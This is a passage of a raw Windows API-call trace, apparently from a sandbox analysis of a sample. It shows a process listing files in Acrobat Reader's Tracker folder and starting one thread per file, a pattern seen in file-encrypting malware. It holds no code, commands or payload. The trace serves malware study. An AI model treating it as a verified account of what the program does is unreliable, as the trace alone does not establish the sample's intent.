	[0087.389] wcscpy (in: _Dest=0x4987580, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0087.389] wcscat (in: _Dest=0x4987580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0087.389] wcscat (in: _Dest=0x4987580, _Source="add_reviewer.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif"
	[0089.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1acc
	[0089.722] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1
	[0089.722] wcscmp (_String1="bl.gif", _String2=".") returned 1
	[0089.722] wcscmp (_String1="bl.gif", _String2="..") returned 1
	[0089.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e31f60
	[0089.722] wcscpy (in: _Dest=0x4e31f60, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.722] wcscat (in: _Dest=0x4e31f60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.722] wcscat (in: _Dest=0x4e31f60, _Source="bl.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif"
	[0089.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db0
	[0089.723] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1
	[0089.723] wcscmp (_String1="br.gif", _String2=".") returned 1
	[0089.723] wcscmp (_String1="br.gif", _String2="..") returned 1
	[0089.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e31418
	[0089.723] wcscpy (in: _Dest=0x4e31418, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.723] wcscat (in: _Dest=0x4e31418, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.723] wcscat (in: _Dest=0x4e31418, _Source="br.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif"
	[0089.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db4
	[0089.723] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1
	[0089.723] wcscmp (_String1="create_form.gif", _String2=".") returned 1
	[0089.723] wcscmp (_String1="create_form.gif", _String2="..") returned 1
	[0089.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987a18
	[0089.723] wcscpy (in: _Dest=0x4987a18, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.724] wcscat (in: _Dest=0x4987a18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.724] wcscat (in: _Dest=0x4987a18, _Source="create_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif"
	[0089.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db8
	[0089.724] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1
	[0089.724] wcscmp (_String1="distribute_form.gif", _String2=".") returned 1
	[0089.724] wcscmp (_String1="distribute_form.gif", _String2="..") returned 1
	[0089.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5e5e8
	[0089.724] wcscpy (in: _Dest=0x2d5e5e8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.724] wcscat (in: _Dest=0x2d5e5e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.724] wcscat (in: _Dest=0x2d5e5e8, _Source="distribute_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif"
	[0089.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dbc
	[0089.725] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1
	[0089.725] wcscmp (_String1="email_all.gif", _String2=".") returned 1
	[0089.725] wcscmp (_String1="email_all.gif", _String2="..") returned 1
	[0089.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894640
	[0089.725] wcscpy (in: _Dest=0x4894640, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.725] wcscat (in: _Dest=0x4894640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.725] wcscat (in: _Dest=0x4894640, _Source="email_all.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif"
	[0089.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc0
	[0089.726] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1
	[0089.726] wcscmp (_String1="email_initiator.gif", _String2=".") returned 1
	[0089.726] wcscmp (_String1="email_initiator.gif", _String2="..") returned 1
	[0089.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5e698
	[0089.726] wcscpy (in: _Dest=0x2d5e698, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.726] wcscat (in: _Dest=0x2d5e698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.726] wcscat (in: _Dest=0x2d5e698, _Source="email_initiator.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif"
	[0089.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc4
	[0089.726] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1
	[0089.726] wcscmp (_String1="ended_review_or_form.gif", _String2=".") returned 1
	[0089.727] wcscmp (_String1="ended_review_or_form.gif", _String2="..") returned 1
	[0089.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481a478
	[0089.727] wcscpy (in: _Dest=0x481a478, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.727] wcscat (in: _Dest=0x481a478, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.727] wcscat (in: _Dest=0x481a478, _Source="ended_review_or_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif"
	[0089.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc8
	[0089.727] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1
	[0089.727] wcscmp (_String1="end_review.gif", _String2=".") returned 1
	[0089.727] wcscmp (_String1="end_review.gif", _String2="..") returned 1
	[0089.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7f5b0
	[0089.727] wcscpy (in: _Dest=0x2d7f5b0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.727] wcscat (in: _Dest=0x2d7f5b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.727] wcscat (in: _Dest=0x2d7f5b0, _Source="end_review.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif"
	[0089.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dcc
	[0089.728] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1
	[0089.728] wcscmp (_String1="forms_distributed.gif", _String2=".") returned 1
	[0089.728] wcscmp (_String1="forms_distributed.gif", _String2="..") returned 1
	[0089.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5e488
	[0089.728] wcscpy (in: _Dest=0x2d5e488, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.728] wcscat (in: _Dest=0x2d5e488, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.728] wcscat (in: _Dest=0x2d5e488, _Source="forms_distributed.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif"
	[0089.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd0
	[0089.729] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1
	[0089.729] wcscmp (_String1="forms_received.gif", _String2=".") returned 1
	[0089.729] wcscmp (_String1="forms_received.gif", _String2="..") returned 1
	[0089.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5e3d8
	[0089.729] wcscpy (in: _Dest=0x2d5e3d8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.729] wcscat (in: _Dest=0x2d5e3d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.729] wcscat (in: _Dest=0x2d5e3d8, _Source="forms_received.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif"
	[0089.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e3d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd4
	[0089.730] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1
	[0089.730] wcscmp (_String1="forms_super.gif", _String2=".") returned 1
	[0089.730] wcscmp (_String1="forms_super.gif", _String2="..") returned 1
	[0089.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x2d7f310
	[0089.730] wcscpy (in: _Dest=0x2d7f310, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.730] wcscat (in: _Dest=0x2d7f310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.730] wcscat (in: _Dest=0x2d7f310, _Source="forms_super.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif"
	[0089.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd8
	[0089.731] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1
	[0089.731] wcscmp (_String1="form_responses.gif", _String2=".") returned 1
	[0089.731] wcscmp (_String1="form_responses.gif", _String2="..") returned 1
	[0089.731] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5e8a8
	[0089.731] wcscpy (in: _Dest=0x2d5e8a8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.731] wcscat (in: _Dest=0x2d5e8a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.731] wcscat (in: _Dest=0x2d5e8a8, _Source="form_responses.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif"
	[0089.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e8a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ddc
	[0089.731] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1
	[0089.732] wcscmp (_String1="info.gif", _String2=".") returned 1
	[0089.732] wcscmp (_String1="info.gif", _String2="..") returned 1
	[0089.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e314b0
	[0089.732] wcscpy (in: _Dest=0x4e314b0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.732] wcscat (in: _Dest=0x4e314b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.732] wcscat (in: _Dest=0x4e314b0, _Source="info.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif"
	[0089.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e314b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de0
	[0089.732] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1
	[0089.732] wcscmp (_String1="main.css", _String2=".") returned 1
	[0089.732] wcscmp (_String1="main.css", _String2="..") returned 1
	[0089.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e31548
	[0089.732] wcscpy (in: _Dest=0x4e31548, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.732] wcscat (in: _Dest=0x4e31548, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.732] wcscat (in: _Dest=0x4e31548, _Source="main.css" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css"
	[0089.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de4
